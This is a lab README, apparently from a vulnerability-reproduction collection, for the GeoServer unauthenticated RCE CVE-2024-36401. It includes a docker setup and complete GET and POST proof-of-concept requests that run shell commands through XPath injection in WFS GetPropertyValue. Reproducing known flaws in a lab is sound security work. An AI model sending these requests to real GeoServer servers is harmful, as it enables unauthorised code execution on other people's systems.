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+# GeoServer Unauthenticated Remote Code Execution in Evaluating Property Name Expressions (CVE-2024-36401)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+GeoServer is an open-source software server written in Java that provides the ability to view, edit, and share geospatial data. It is designed to be a flexible, efficient solution for distributing geospatial data from a variety of sources such as Geographic Information System (GIS) databases, web-based data, and personal datasets.
+
+In the GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions.
+
+References:
+
+- <https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv>
+- <https://github.com/geotools/geotools/security/advisories/GHSA-w3pj-wh35-fq8w>
+- <https://tttang.com/archive/1771/>
+- <https://github.com/Warxim/CVE-2022-41852>
+
+## Vulnerable environment
+
+Execute following command to start a GeoServer server 2.23.2:
+
+```
+docker compose up -d
+```
+
+After server is started, you will see the default page of GeoServer at `http://your-ip:8080/geoserver`.
+
+## Exploit
+
+In the official [vulnerability announcement](https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv), you can find the following content:
+
+> No public PoC is provided but this vulnerability has been confirmed to be exploitable through WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic and WPS Execute requests.
+
+For example, I gonna to use `GetPropertyValue` to execute evil xpath expression. refer to [official document](https://github.com/geoserver/geoserver/blob/2.23.2/doc/en/user/source/services/wfs/reference.rst), the GET method POC is:
+
+```
+GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
+Host: your-ip:8080
+Accept-Encoding: gzip, deflate, br
+Accept: */*
+Accept-Language: en-US;q=0.9,en;q=0.8
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
+Connection: close
+Cache-Control: max-age=0
+
+
+```
+
+The POST method POC is:
+
+```
+POST /geoserver/wfs HTTP/1.1
+Host: your-ip:8080
+Accept-Encoding: gzip, deflate, br
+Accept: */*
+Accept-Language: en-US;q=0.9,en;q=0.8
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
+Connection: close
+Cache-Control: max-age=0
+Content-Type: application/xml
+Content-Length: 356
+
+<wfs:GetPropertyValue service='WFS' version='2.0.0'
+ xmlns:topp='http://www.openplans.org/topp'
+ xmlns:fes='http://www.opengis.net/fes/2.0'
+ xmlns:wfs='http://www.opengis.net/wfs/2.0'>
+  <wfs:Query typeNames='sf:archsites'/>
+  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference>
+</wfs:GetPropertyValue>
+```
+
+The familiar `java.lang.ClassCastException` error:
+
+![](1.png)
+
+As you can see, `touch /tmp/success1` and `touch /tmp/success2` are both executed successfully.
+
+![](2.png)
+
+It is important to mention that `typeNames` parameter must exist. You can find all the available Types on the web server without login:
+
+![](3.png)